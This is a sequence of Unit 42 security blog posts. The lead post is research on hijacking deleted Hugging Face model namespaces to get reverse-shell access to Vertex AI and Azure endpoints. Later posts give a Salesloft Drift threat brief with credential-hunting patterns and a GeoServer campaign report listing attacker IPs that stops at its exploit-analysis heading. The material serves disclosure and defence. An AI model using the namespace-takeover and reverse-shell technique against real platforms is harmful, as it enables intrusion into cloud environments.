Another potential attack vector stems from the way Hugging Face manages the transfer of model ownership.

Ownership Transfer in Hugging Face

Hugging Face provides the ability to change the author of a model by transferring ownership from the current owner to another. This transfer results in a new namespace for the model — for example, changing from AIOrg/Translator_v1 to AIOrgNew/Translator_v1. Users can deploy the model using this new namespace. However, the original namespace remains accessible for deployment as well.

When a user submits a request to the old namespace, Hugging Face automatically redirects the user to the new, current namespace. This redirection applies across all access points, including the user interface (UI), REST APIs and common software development kits (SDKs).

This behavior is logical and intentional. Hugging Face aims to ensure that existing pipelines continue functioning smoothly even after a namespace change. However, as shown in the scenario above, if the owner of the original model deleted its organization, the namespace becomes available for re-registration.

If a malicious actor registers the namespace, this breaks the redirection mechanism, causing the compromised model to be prioritized over the legitimate new model.

To explain this fictional scenario, we’ll again draw on dental health.

Dentalligence, another organization, has acquired DentalAI. As part of the acquisition, DentalAI transferred all of its AI models to the Dentalligence organization. Following the transfer, the administrators of DentalAI deleted the original organization from Hugging Face, as it was now fully absorbed into Dentalligence.

All models formerly under DentalAI — such as DentalAI/toothfAIry — became accessible via their new paths, like Dentalligence/toothfAIry. For continuity, Hugging Face maintained redirects from the old namespaces to the new ones, allowing users to access the models without updating their code.

However, a malicious actor noticed that the original DentalAI organization was available. The attacker registered a new organization under that name and uploaded malicious models using the same names as those DentalAI hosted before the acquisition.

Since the original model names remained valid and deployable throughout the transition, users were unaware of the change. They didn’t sense any downtime and did not have to change the model names in their code. For example, making a request to pull the model DentalAI/toothfAIry automatically pulled Dentalligence/toothfAIry. As a result, when the malicious actor inserted their version using the original names, users unknowingly began deploying the malicious versions instead of the trusted models they had originally integrated.

Comparing the Scenarios

Hard-coded reusable model namespaces exist in thousands of open-source projects. These include popular and highly starred repositories, and repositories that belong to prominent organizations in the industry. Additionally, such models pose a threat to users of leading AI platforms.

Table 1 sums up the differences between the two scenarios.

Ownership Deletion Ownership Transfer
Cause The model author was deleted from Hugging Face. The model was transferred to a new owner, and the old author was deleted from Hugging Face.
User Experience Users will experience downtime, as the model does not exist. Users will not be affected, as their requests are redirected to the new model.
HTTP Status Codes on Model Access 404 307
Identifying Signs The author of the model is no longer available on Hugging Face. When attempting to access the model, Hugging Face redirects to a different author. In addition, the old author is no longer available.

Table 1. Key differences between reusable deleted models and reusable transferred models.

Model Namespace Reuse in Practice

Case Study 1: Vertex AI

Google Vertex AI is a managed machine learning (ML) platform on Google Cloud Platform (GCP). Developers use Vertex AI to build and scale models that integrate with other Google Cloud services.

A key feature of Vertex AI is the Model Garden, a centralized repository of pre-trained models from Google, third parties and the open-source community. Notably, Vertex AI’s Model Garden supports direct deployment of models from Hugging Face. This means users can select a model from Hugging Face and deploy it to Vertex AI in just a few steps, without custom packaging.

Figure 3 displays the deployment of the model distilbert/distilgpt2.

Screenshot of a computer interface for deploying AI models from Hugging Face, featuring options to deploy on Vertex AI or Google Kubernetes Engine. Buttons for deploying, canceling, and viewing equivalent code are visible.
Figure 3. Deploying a model from Hugging Face to Vertex AI.

It’s important to note that not all models are immediately deployable via Vertex AI. A green check mark next to the model name signifies that Google has verified that the model can be deployed to Vertex AI.

Additionally, the interface provides a convenient link to the model’s card on Hugging Face, allowing users to quickly review documentation, licensing and other key details. Figure 4 shows an example of the model card of the model distilbert/distilgpt2.

Screenshot of the Hugging Face website, displaying the model card for DistilGPT2, a distilled version of the GPT-2 model designed for efficient language processing tasks.
Figure 4. DistilGPT2 model card on Hugging Face.

By examining the list of models that Vertex AI offers for direct deployment from Hugging Face and checking whether their original authors have been deleted, we identified several reusable models. These are models that meet both of the following conditions:

  • The model owner has deleted the author organization from Hugging Face
  • Vertex AI still lists and verifies the model

Figures 5 and 6 illustrate an example of such a model — one that qualifies for deployment on Vertex AI, despite its author not existing on Hugging Face.

Screenshot of a deployment interface from Hugging Face, showing fields to input a Hugging Face model URL and select a deployment environment with Vertex AI recommended.
Figure 5. The reusable model is deployable on Vertex AI.
404 error page on Hugging Face website featuring a sad version of the hugging emoji. An arrow points to the URL.
Figure 6. The author does not exist in Hugging Face.

We proceeded to register one of the author namespaces and created a model using the same name within it, as Figure 7 shows.

Screenshot of the Hugging Face website showcasing a model card for text classification. The screen displays tabs for Model Card, Files and Versions, Community, and Settings. A user profile is indicated as 'Following' with 0 likes. Some of the information is redacted.
Figure 7. We successfully created the author and model in Hugging Face.

After performing the takeover, any deployment of the original model will instead result in the deployment of our new model.

To demonstrate the potential impact of such a technique, we embedded a payload in the model that initiates a reverse shell from the machine running the deployment back to our servers. Once Vertex AI deployed the model, we gained access to the underlying infrastructure hosting the model — specifically, the endpoint environment. Figure 8 shows the reverse shell from the endpoint to our controlled machine.

A screenshot of the endpoint environment. Multiple lines of text including error messages related to a bash script, with certain details blurred or blocked out for privacy. The visible text includes file paths and system commands.
Figure 8. Access to the Vertex AI endpoint.

The accessed environment is a dedicated container with a limited scope within the GCP environment. Once we demonstrated this vector, we removed the backdoor from the model’s repository.

Since we reported this issue to Google in February 2025, Google now performs daily scans to identify models that have been orphaned. The scan marks orphaned models as “verification unsuccessful,” preventing them from being deployable to Vertex.

Case Study 2: Azure AI Foundry

Azure AI Foundry is Microsoft’s platform for developing ML and generative AI applications. It provides tools for the different stages of the AI lifecycle, including data ingestion, model training, deployment and monitoring.

At the core of Azure AI Studio is its Model Catalog — a hub featuring foundation models from Microsoft, open-source contributors and commercial vendors. The catalog in Azure AI Foundry allows users to deploy and customize models on the platform. Figure 9 shows that the catalog features many models sourced from Hugging Face.

Screenshot of Azure AI Foundry's model catalog interface, displaying a variety of AI models including Google Bert models and OpenAI GPT models, organized in a grid layout with options for filtering and search.
Figure 9. Variety of Hugging Face models in AI Foundry.

We reviewed the list of models available in Azure AI Foundry and focused on those sourced from Hugging Face. For each model, we checked whether its original author account had been deleted. Once again, we identified several reusable models — models whose author namespaces were no longer claimed but are still available for deployment.

To demonstrate the risk, we registered one of these unclaimed author names on Hugging Face and uploaded a model embedded with a reverse shell. Upon deployment, the reverse shell executed successfully, granting us access to the underlying endpoint, as Figure 10 shows.

Screenshot of the underlying endpoint. Text displaying a command line interface with commands for viewing the hostname, user identity, and environment variables.
Figure 10. Continuous access to the endpoint.

By exploiting this attack vector, we obtained permissions that corresponded to those of the Azure endpoint. This provided us with an initial access point into the user’s Azure environment. Once we demonstrated this vector, we removed the backdoor from the model’s repository.

Case Study 3: Open-Source Repositories

After observing the impact of model namespace reuse on leading cloud AI services, we conducted an extensive search of open-source repositories. Our aim was to identify projects that referenced Hugging Face models by Author/ModelName identifiers that are available to be reclaimed.

Such projects expose their users to significant security risks. Attackers can take advantage of project dependencies by identifying an available Author/ModelName, registering it and uploading malicious files to it. These files are then likely to be deployed into user environments during the project’s deployment or execution.

We began by searching GitHub for open-source repositories with SDK methods that fetch models from Hugging Face. We then narrowed the search by identifying model names in these repositories. To discover reusable models, we checked each model for whether its author was deleted and could be registered.

This investigation revealed thousands of susceptible repositories, among them several well-known and highly starred projects. These projects include both deleted models and transferred models with the original author removed, causing users to remain unaware of the threat as these projects continue to function normally.

Figures 11 and 12 demonstrate the presence of reusable models and names in popular open-source projects.

A screenshot of code using the Hugging Face Transformers library with certain details blurred or blocked out for privacy. The code imports AutoTokenizer and AutoModel, and initializes them with specific parameters from a pretrained model.
Figure 11. A reusable model in an open-source project.
Screenshot of code using argparse library to add a command line argument for 'model_name' with a default value, with certain details blurred or blocked out for privacy.
Figure 12. A reusable model name used as a default argument in an open-source project.

Case Study 4: Model Registries Leak Chain

So far, we’ve examined scenarios in which users and developers fetch models directly from Hugging Face. Whether using a managed AI platform or an open-source SDK, many environments use it as a primary source.

However, other model registries — centralized systems that manage the storage, versioning and lifecycle of ML models — also pull models from Hugging Face and offer them to users as part of their available models.

This creates a supply chain risk. If a model registry ingests reusable models from Hugging Face, those models can propagate downstream. As a result, users relying on such registries could be exposed to compromised models without ever directly interacting with Hugging Face.

Take Vertex AI as an example. As discussed earlier, Vertex AI offers seamless integration to deploy and utilize Hugging Face models within the GCP environment. Users can easily fetch a model using the Vertex AI SDK, as Figure 13 shows.

Code snippet showing Python imports from Google Cloud's Vertex AI platform, including modules for AI platform and text generation models.
Figure 13. Pulling a model from the Vertex AI Model Catalog.

In this scenario, the user obtains the model model_name directly from Vertex AI. However, if this model is sourced from Hugging Face and is available in the Model Catalog, the user might inadvertently access an infected model.

Another Google-owned platform that incorporates Hugging Face as a model source is Kaggle. Kaggle is a well-known hub for data science and ML that provides datasets, notebooks and a collection of pre-trained models. Figure 14 shows that in its Model Catalog, Kaggle offers thousands of Hugging Face-originated models for deployment.

Image displaying a selection of Hugging Face model cards. Each card shows the number of linked notebooks and the last update status.
Figure 14. Hugging Face models on Kaggle.

As with the previously discussed model registries, Kaggle also offers several models that are vulnerable to model namespace reuse, posing an immediate risk to their users.

The Challenge of Model Integrity in AI

Keeping track of ML models is a complex and ongoing challenge. Developers constantly update, fine-tune, fork and republish their models. They often do this across multiple platforms and organizations. We observed model namespace reuse opportunities across various parts of these complex, multi-component systems. This is true not only in model deployments, which pose the most immediate and significant risk. We found reusable model references in model cards, documentations, default parameters and example notebooks.

Finding the same model reuse issue in GCP, Azure and many open-source projects highlights one of the most critical and often overlooked aspects of AI and ML security: verifying that the model you’re using is truly the one you think it is. Whether the project pulls a model from a public registry, reuses it from an internal pipeline, or deploys through a managed service, there’s always a risk that someone replaced, tampered with or exploited the redirection of the model.

Models can originate from a variety of registries, not just Hugging Face. The Vertex AI Model Garden, Azure AI Foundry Model Catalog and Kaggle all feature a wide range of models, including many sourced directly from Hugging Face.

This integration, while convenient, introduces risks. Developers who rely on the trusted model catalogs of major cloud AI services could unknowingly deploy malicious models originally hosted on Hugging Face without ever interacting with Hugging Face directly.

To their credit, all of these platforms make significant efforts to secure their model registries. However, as we’ve demonstrated, no system is entirely immune to namespace hijacking or supply chain vulnerabilities. Even with strong safeguards in place, a single overlooked edge case can lead to destructive exploitation.

Ensuring the security of AI tools is not solely the responsibility of platform providers. Developers must also take active steps to secure pipelines and environments.

Practical Steps for a Secure ML Lifecycle

We’ve explored some of the inherent challenges in securing the pipelines that power ML models. From data ingestion to deployment, ensuring integrity at every step is crucial. But the good news is that we’re not powerless in the face of these complexities. There are concrete steps we can take to significantly improve the security and reliability of AI systems. Following are some key practices.

  • Version pinning: Using methods such as from_pretrained("Author/ModelName") to fetch models can lead to unexpected behavior, stability concerns or even malicious model integration due to automatic fetching of the latest version. A solution for that is to pin the model to a specific commit using the revision parameter. The command from_pretrained("Author/ModelName", revision="abcdef1234567890") ensures that the model is in an expected state and prevents the model behavior from changing unexpectedly. This helps the developer to guarantee consistent model behavior for debugging and execution.
  • Model cloning and controlled storage: For highly sensitive or production environments, we recommend cloning the model repository to a trusted location, such as local storage, internal registry or cloud storage. This approach enables decoupling model loading from any external source, eliminating the risk of upstream changes or connectivity issues. Cloning the model should, of course, only be done after a robust scanning and verification process.
  • Scanning for reusable references: Scan model references in code repositories and treat model references like any other dependency subject to policy and review. Scanning should be comprehensive as models can exist in unexpected places, such as default arguments, docstrings and comments. Proactively scanning codebases for model references reduces the risk of supply chain attacks caused by model namespace reuse.

Conclusion: The New Realities of AI Supply Chain Security

We showed how an attacker could reclaim and reuse model identifiers on Hugging Face to execute remote code within popular AI platforms such as Google Vertex AI, Azure AI Foundry and various open-source projects. In both cases, the issue arises because a model's name alone is not enough to guarantee its integrity or trustworthiness.

We have discussed this issue with the vendors mentioned in this article. Model namespace reuse is a complex problem to solve and its risk still exists. This is not an isolated problem, but a systemic challenge to how the AI community manages and validates shared model integrity. This challenge extends far beyond simple namespace management, forcing us to confront questions about the foundational security of the rapidly evolving AI infrastructure.

Users can improve security with respect to the threats described above by implementing version pinning, cloning model repositories to trusted storage locations and scanning for reusable references.

Organizations can gain help assessing cloud security posture through the Unit 42 Cloud Security Assessment.

The Unit 42 AI Security Assessment can assist organizations with empowering safe AI use and development.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Additional Resources

Why Threat Intelligence: A Conversation With Unit 42 Interns

Posted on by Ria Bhatia

Meet the Next Generation of Threat Intelligence

Unit 42’s Threat Intelligence teams work to proactively discover, analyze and contextualize sophisticated cyberthreats to empower both Palo Alto Networks products and the broader security community.

To gain insight into the scope and responsibilities of these teams, I sat down with two Unit 42 interns, Gabrielle Calderon and Sakthi Vinayak. Sakthi is a Threat Research Intern and Gabrielle is a Malware Reverse Engineering Intern. Over the 12 week span of their internship, they’ve worked side-by-side with professionals on expansive projects, deepening their understanding of the ever-evolving cybersecurity landscape.

Walk me through your background and what led you to Unit 42.

Sakthi: Back home in India, I was drawn to cybersecurity after many of my loved ones had been tricked by phishing scams during COVID-19. I liked threat intelligence specifically because of its similarities to true crime documentaries. True crime goes into the motivations and methods of criminals while threat intelligence examines the "why" and "how" of threat actors operating in cyberspace.

After hearing Unit 42 speakers at my university, I realized Unit 42 was exactly the space to gain more hands-on experience in the threat intelligence field. I then knew that I wanted to apply and be part of a team that’s actively shaping the future of threat intelligence.

Gabrielle: I come from a computer engineering background where I focused on cybersecurity and have worked various IT jobs like being an IT worker and a SOC analyst. It’s always been really important for me to gain practical experience so I've tried taking as many classes in undergrad and grad school as possible, including malware reverse engineering ones.

My previous work experiences exposed me to Palo Alto Networks products so I was familiar with the company. I knew I wanted security related jobs and when I saw the posting for a malware reverse engineering role, I thought it would be perfect because that’s exactly what I had been focusing on.

What do you do in your role and how has it furthered your passion for threat intelligence?

Sakthi: In my role, I’ve mainly focused on automating manual data ingestion and enrichment processes to free up time for deeper research and analysis. Over the course of twelve weeks, I’ve worked on three key projects: mechanizing the data ingestion workflow, implementing a fidelity scoring framework, and building a dashboard to analyze knowledge repository data for identifying trends and gaps.

These projects have really strengthened my passion for threat intelligence by showing me the complexity and depth of the field, as well as how engaging and impactful the work can be. I've learned so many valuable insights by shadowing and collaborating with professionals in different teams. I feel like I’ve really been able to apply my classroom knowledge and gain technical expertise, which has been immensely important.

Gabrielle: There are two primary tracks that I focus on in my position. The first is analyzing malware tickets to determine the level of response needed to address them. The second is developing a tool to help automate identifying the different malware families and pulling out the indicators of compromise automatically.

I really enjoy working on real-world, up-to-date cybersecurity challenges that tie directly to current events and global conflicts. It’s also super exciting to be contributing to cutting-edge and scalable solutions that I once thought could not be automated.

What has your experience been like with Unit 42, and how has the team supported your growth in threat intelligence?

Sakthi: I’ve really appreciated the supportive and growth-oriented culture of this internship. Everyone I've talked to, including people from other teams, have been so encouraging in helping me with tasks, sharing knowledge and investing in my development. This environment has not only enhanced my understanding of threat intelligence but also expanded my exposure to AI, new platforms and a wide range of technologies.

Gabrielle: Something that has stood out to me during this internship is how everyone in Unit 42 shares such a genuine enthusiasm for their work. Individuals are encouraged to solve problems and take initiative, even if it falls outside their original role. That kind of trust and freedom to innovate is something I haven’t experienced before, and it’s really encouraged my passion for learning and experimenting.

Final Thoughts

Listening to Sakthi and Gabrielle’s internship experience made it clear just how impactful an internship at Unit 42 can be. As a Unit 42 intern myself, I can further validate the supportive environment, constant opportunities to learn and obtain feedback, and hands-on exposure. To learn more about fostering careers in cybersecurity, discover how Palo Alto Networks supports early career development.

Threat Brief: Salesloft Drift Integration Used To Compromise Salesforce Instances

Posted on by Unit 42

Executive Summary

Unit 42 stopped monitoring this threat and updating the brief on Dec. 2, 2025. Please refer to the Salesloft website for the latest information.

Unit 42 has observed activity consistent with a specific threat actor campaign leveraging the Salesloft Drift integration to compromise customer Salesforce instances. This brief provides information about our observations and guidance for potentially affected organizations.

As detailed in a recent notification from Salesloft, from August 8-18, 2025, a threat actor utilized compromised OAuth credentials to exfiltrate data from affected customers’ Salesforce environments.

Our observations indicate that the threat actor performed mass exfiltration of sensitive data from various Salesforce objects, including Account, Contact, Case and Opportunity records. Following exfiltration, the actor appeared to be actively scanning the acquired data for credentials, likely with the intent to facilitate further attacks or expand their access. We have observed that the threat actor deleted queries to hide evidence of the jobs they run, likely as an anti-forensics technique.

Salesloft has confirmed that all impacted customers have been notified and took immediate action to secure its systems and contain and mitigate the incident, including proactively revoking all active access and refresh tokens for the Drift application, necessitating re-authentication for affected administrators.

Palo Alto Networks recommends that organizations continue to monitor Salesforce and Salesloft updates, in addition to following any recommendations shared below.

The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk.

Related Unit 42 Topics High Profile Threats, Data Exfiltration

Recommendations for Organizations

Organizations that utilize the Salesloft Drift integration with Salesforce should treat this incident with immediate urgency. Beyond the proactive steps Salesloft took to secure its platform (such as token revocation), the following recommendations are critical to assess potential impact and mitigate further risk:

Immediate Investigation and Log Review:

  • Drift API Integrations: Conduct a thorough review of all Drift integrations and review all authentication activity within third-party systems for signs of suspicious connections, credential harvesting and data exfiltration.
  • Salesforce Logs: Conduct a thorough review of Salesforce login history, audit trails and API access logs for the period of August 8 to present. Specifically, examine Salesforce Event Monitoring logs, if enabled, for unusual activity associated with the Drift connection user and review authentication activity from the Drift Connected App. Look for suspicious login attempts, unusual data access patterns, and the indicators mentioned in the Hunting Guidance section, such as the Python/3.11 aiohttp/3.12.15 user agent string and activity from known threat actor IP addresses. Also, review UniqueQuery events that log executed Salesforce Object Query Language (SOQL) queries to identify which Salesforce objects (e.g., Account, Contact, Opportunity, Case, etc.) and which fields within those objects the attacker queried. Consider opening a Salesforce support case to obtain specific queries used by the threat actor if needed.
  • Identity Provider Logs: Review logs from your Identity Provider (IdP) for any unusual authentication attempts or successful logins to Salesforce or other integrated applications during the incident period.
  • Network Logs: Analyze network flow logs and proxy logs for connections to Salesforce from suspicious IPs or unusual data transfer volumes.

Review and Rotate Exposed Credentials:

  • Automated Tools: Leverage automated tools (e.g., Trufflehog, GitLeaks) to efficiently scan for secrets and hardcoded credentials within code repositories, configuration files or any potentially exfiltrated data.
  • Data Scrutiny: If exfiltration is confirmed or suspected, review data for the presence of sensitive credentials. This includes searching for patterns like AWS access key identifiers (e.g., AKIA), Snowflake credentials (e.g., Snowflake or snowflakecomputing[.]com), generic keywords such as password, secret or key, and strings related to organization-specific login URLs (e.g., VPN or SSO login pages).
  • Immediate Rotation: Promptly rotate all credentials identified as exposed within the exfiltrated data. This includes, but is not limited to, Salesforce API keys, connected app credentials and any other system credentials found within the compromised data.

Hunting Guidance

Organizations concerned about potential compromise related to the Salesloft Drift integration incident should immediately initiate proactive threat hunting activities within their Salesforce environments. (As a starting point, Salesforce provides some resources for investigating Salesforce security incidents.) A critical first step involves a thorough review of Salesforce login and activity logs for specific indicators of compromise (IoCs) associated with the threat actor.

Defenders should look for logins originating from suspicious IP addresses, including but not limited to known threat actor IP addresses (for info and advice, please see the Indicators of Compromise section of this report).

Of particular interest is the presence of the user agent string Python/3.11 aiohttp/3.12.15 associated with these login events. While this specific string is a valid user agent that is not inherently malicious, it is also indicative of the automated, high-volume data exfiltration observed in this campaign.

The presence of this string is significant because threat actors can leverage asynchronous Python libraries like aiohttp in combination with Salesforce's Bulk API to perform rapid, high-throughput data exfiltration. This pairing allows them to efficiently extract significant volumes of data from Salesforce objects such as Account, Contact, Case and Opportunity, minimizing their time on target.

Conclusion

Palo Alto Networks highly recommends rotating credentials and following the above guidance to validate authentication activity for Drift integrations. Vigilance and verification are key.

Organizations should be wary of social engineering attempts resulting from this or any other data exfiltration event.

Best practices include:

  • Be Skeptical of Unsolicited Communications: Advise your teams to carefully scrutinize any unsolicited or unusual emails, calls or messages, even if they appear to be from a trusted source.
  • Verify Requests: Always verify requests for sensitive data or credentials through a separate, official communication channel before taking any action. For instance, if you receive a suspicious email from a colleague, call them directly to confirm the request is legitimate. Only exchange information and files through our Customer Support Portal, not email.
  • Implement Zero Trust Principles: Enforcing a Zero Trust posture with conditional access policies and the principle of least privilege can significantly limit an attacker's ability to move laterally within your network, even if they successfully trick an employee.

For more information about social engineering and how to mitigate it, please see our recent 2025 Unit 42 Global Incident Response Report: Social Engineering Edition.

Palo Alto Networks and Unit 42 will continue to monitor the situation for updated information, and we will update this threat brief with additional information if any becomes available.

Salesforce will be providing updates and resources to customers.

If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107

Indicators of Compromise

Salesloft made some IoCs available for hunting. It is worth noting that many of the IP addresses listed in their notification are Tor exit nodes and may have a high false positive rate for organizations that allow Tor connections.

Additional Resources

Updated Sept. 2, 2025, at 1:50 p.m. PT to add Additional Resources section

 

Data Is the New Diamond: Heists in the Digital Age

Posted on by Ria Bhatia

What Financially Motivated Criminals Have in Common

Heists in the digital world may seem fundamentally different from heists in the physical world, but I see a common tie — financially motivated criminals of all types often use social engineering and intensive reconnaissance to achieve their goals.

In February 2003, the “heist of the century” occurred when more than $100 million worth of diamonds, gold, silver and other jewelry were stolen from the Antwerp Diamond Centre in Belgium by five criminals. This heist involved significant time spent on reconnaissance and social engineering by the mastermind of the operation, Leonardo Notarbartolo. He used these tactics to better understand and bypass various layers of physical security implemented at the site.

Most notably, this involved Notarbartolo signing a lease for an office at the heist site while posing as a multilingual gem importer from Italy, which gave him access to a safe deposit box in the site’s underground vault. The criminals ultimately left behind little forensic evidence and most of the loot has yet to be recovered.

On the digital side, Unit 42 and other security researchers see the same sort of attention to reconnaissance and social engineering.

Take the example of recent data extortion theft activity reported by Google in June 2025 that is designed to compromise and steal data from Salesforce instances. A hallmark of this activity is threat actor usage of voice-based phishing (aka vishing) to establish initial access, followed by extensive reconnaissance and collection of customer-centric data from digital platforms within a victim’s environment. From there, the data is exfiltrated to a location under the attackers’ control, where they will threaten to leak it if the victim does not pay a ransom.

Similar to the criminals behind the Antwerp Diamond Centre heist, these threat actors leave behind little digital evidence given their lack of malware or custom tool usage.

The Rise of Data Extortion in Luxury Commerce

Based on Unit 42 insights and public reporting, this data theft extortion activity has likely been occurring since at least December 2024 and has impacted companies operating within the aviation, financial services, technology and, most notably, retail sectors. The targeted retailers are also primarily those that offer high-end goods to global clientele, such as jewelry, apparel, footwear and various types of accessories. At this time, it seems that UNC6040 may be the cluster responsible for establishing initial access, conducting internal reconnaissance to identify data of interest, and exfiltrating data, whereas Bling Libra (aka ShinyHunters) is responsible for performing the actual extortion activities.

As part of these attacks, the threat actors appear focused on collecting and exfiltrating customer data including names, dates of birth, physical and email addresses, phone numbers, and account metadata. Although most of the extortion attempts occurred via email communications with victim organizations, it is possible the threat actors will migrate to a dedicated leak site (DLS) similar to operators of ransomware-as-a-service (RaaS) programs.

Unit 42 has responded to several incidents thus far in 2025 targeting retail organizations that are highly likely to be associated with this ongoing data theft extortion activity. The following are high-level observations from internal and external sources:

  • Initial Access (T1566.004)
    • Social engineering using vishing, where the threat actors typically pose as IT support personnel and attempt to collect end user credentials via phishing pages or entice victims to connect to a modified version of Salesforce’s Data Loader application.
  • Collection (T1213.002, T1213.004. T1114.002)
    • Searching for and collecting sensitive information from digital platforms such as SharePoint, Microsoft 365 and, most notably, Salesforce.
  • Impact (T1657)
    • In addition to exfiltrating data and holding it for ransom, in at least one instance, the threat actors attempted to purchase goods from a victim’s affiliated stores by applying a discount. It’s unclear if this was an attempt by the threat actors to directly obtain purchased goods for personal use or resell the items on underground forums for personal financial gain.

To be clear, this is not a new trend in terms of cybercriminals conducting data theft extortion attacks targeting customers of prominent cloud-based data platforms. For example, Google previously documented a campaign impacting Snowflake tenants in June 2024.

We also previously documented Bling Libra’s shift from using ransomware to pure data theft extortion in August 2024, including their targeting of Amazon Web Services (AWS) environments. It appears the group remains active even after French authorities announced the arrest of four alleged members in June 2025.

We expect this variety of attacks to continue. In Unit 42 incident response cases involving social engineering as an initial access method, 23% involved callback or voice-based techniques. This is a widely concerning trend as traditional perimeter defenses (e.g., email security) aren’t readily available for this form of social engineering.

To learn more about how threat actors implement social engineering and reconnaissance to further their goals, read the 2025 Unit 42 Global Incident Response Report: Social Engineering Edition.

Updated Aug. 27, 2025, at 5:57 a.m. PT to correct the date of the diamond heist.  

Insights: Telling You What We Really Think

Posted on by Ria Bhatia

Hear More Directly From Researchers and Consultants

You may have noticed a new type of article on the Unit 42 site, with a different sort of headline and a different style of writing. These are part of a section we’re calling “Insights.” It’s designed to put you more directly in touch with Unit 42 researchers and consultants, so you can read unvarnished thoughts on the threat landscape and what we’re seeing in real-world incident response cases.

How Are Insights Different?

I started working on Unit 42 threat research publications in 2020 and I am incredibly proud of the threat research we share with the community. Every piece that we publish is extensively reviewed by internal subject matter experts and experienced editors. It warms my heart whenever I hear that our readers appreciate the quality and integrity of our publications. I often compare our work to an academic journal to help researchers understand the nature of what they’re undertaking when they decide to publish an article through us.

But while I stand by the value of this approach, it doesn’t work for everything. Our team wanted to share a view of the process that’s perhaps messier but equally important. These are early thoughts, quick observations, theories about the threat landscape, or the conversation a consultant has over and over with clients. There’s also information about how we do our work, how we found ourselves in cybersecurity, and where we see the field going. I hope pieces like this give you a more immediate view of what we’re seeing and thinking about.

Beyond the Threat Assessment: What We Learned While Writing

We have recently published two pieces on Muddled Libra: “Why Are We So Obsessed With You?” and “Amalgamated Evil.”

People who have worked with me know what a departure this is. My normal guidance is “straightforward and accurate.” I’m also known for saying, “Boring can be good.” This is because I believe that when sharing, say, indicators of compromise, the goal is to inform, not entertain, and I never want to create any barriers to understanding the key information.

That said, once the foundation is in place, there’s space for the conversation you might have over a cup of coffee.

Unit 42 has done a lot of research on Muddled Libra and responded to a lot of cases. You can read our formal summary of what we know in our Muddled Libra Threat Assessment. In the course of putting together our last update to the threat assessment, however, I noticed how interested I was reading the comments from our experts as we edited and debated.

That turned out to be the foundation of our two Muddled Libra Insights pieces so far. These aren’t meant to be summations of everything we know about the threat actor. Instead, they’re things two smart people have to say about Muddled Libra based on their expert view.

Get More Insights

I hope you enjoy reading Insights as much as I have so far. I expect the section to evolve as we put together more pieces and hear from you on social and at events – and I personally can’t wait to see how it develops.

Continue to catch up on Insights on the dedicated landing page. And if you’d ever like to know what these smart people would have to say about your specific situation… you know where to find us.

Your Connection, Their Cash: Threat Actors Misuse SDKs to Sell Your Bandwidth

Posted on by Zhibin Zhang

Executive Summary

We have detected a campaign aimed at gaining access to victims’ machines and monetizing access to their bandwidth. It functions by exploiting the CVE-2024-36401 vulnerability in the GeoServer geospatial database. This Critical-severity remote code execution vulnerability has a CVSS score of 9.8. Criminals have used the vulnerability to deploy legitimate software development kits (SDKs) or modified apps to gain passive income via network sharing or residential proxies.

This method of generating passive income is particularly stealthy. It mimics a monetization strategy used by some legitimate app developers who choose SDKs instead of displaying traditional ads. This can be a well-intentioned choice that protects the user experience and improves app retention.

The applications we found in this malicious activity are nearly silent when operating. They consume minimal resources while monetizing victims' internet bandwidth, and without creating or distributing malware. This integration allows app developers to receive payments, while criminals profit from unused server resources, minimizing their risk of detection.

Since March 2025, attackers have been probing GeoServer instances exposed to the internet. Cortex Xpanse reported 3,706 publicly accessible GeoServers in the first week of May 2025, indicating a potentially large attack surface for adversaries targeting CVE-2024-36401.

Palo Alto Networks customers are better protected from the threats described through the following products and services:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Vulnerabilities

Campaign Dissection

We have closely monitored a campaign that first emerged in early March 2025. The attackers have shifted infrastructure as well as tactics, techniques and procedures (TTPs) to maintain persistence.

We detected that attackers misused an SDK and an app during their campaign:

  • The SDK allowed developers to monetize other apps by collecting user data to earn passive income.
  • The app allowed users to earn passive income by sharing their internet connection.

The following timeline reveals how this threat has evolved.

Phase 1: Initial Incursion (Early March 2025) With Misused SDKs

The campaign began with exploit attempts targeting CVE-2024-36401, then delivered the misused app and the misused SDK payloads.

  • March 8, 2025: The campaign began with exploit attempts originating from the source IP address 108.251.152[.]209. The attacker used an exploit that targeted CVE-2024-36401.
  • Customized executable distribution: We observed these initial exploits fetching customized executables hosted at 37.187.74[.]75.
  • Two primary executables were distributed from this host:
    • The misused app: We detected variants of an application, including three that we have designated as a193, d193 and e193.
    • The misused SDK: We detected variants of an SDK, including five that we have designated as a593, c593, d593, s593 and z593.

Phase 2: Shifting Tactics (Late March - Early April 2025) With Misused SDKs

Attackers shifted tactics during this phase of the campaign.

  • March 24, 2025: A few vendors on VirusTotal flagged the distribution IP address 37.187.74[.]75 as malicious. This shift indicates that the security community began recognizing malicious activity originating from that IP address. We believe this is a key factor that drove the threat actor to move their infrastructure to a different IP address.
  • March 26, 2025: The attackers appeared to stop distributing new misused app samples. The focus seemingly shifted entirely to the misused SDK.
  • April 1, 2025: The threat actors switched their primary exploit delivery infrastructure to a new source IP address, 185.246.84[.]189. This was likely an attempt to evade blocklists and continue their operations unhindered.

Phase 3: Infrastructure Expansion and Persistence (Mid-April 2025 - Ongoing)

Attackers expanded their infrastructure during this phase of the campaign.

  • April 17, 2025: The attackers further expanded their backend infrastructure. They brought online a new customized executable distribution IP address, 64.226.112[.]52.
  • The original distribution IP address 37.187.74[.]75 remained live in mid-June.

As of this writing, exploit attempts continue from 185.246.84[.]189, and the customized executable distribution hosts remain online.

CVE-2024-36401 Exploit Analysis

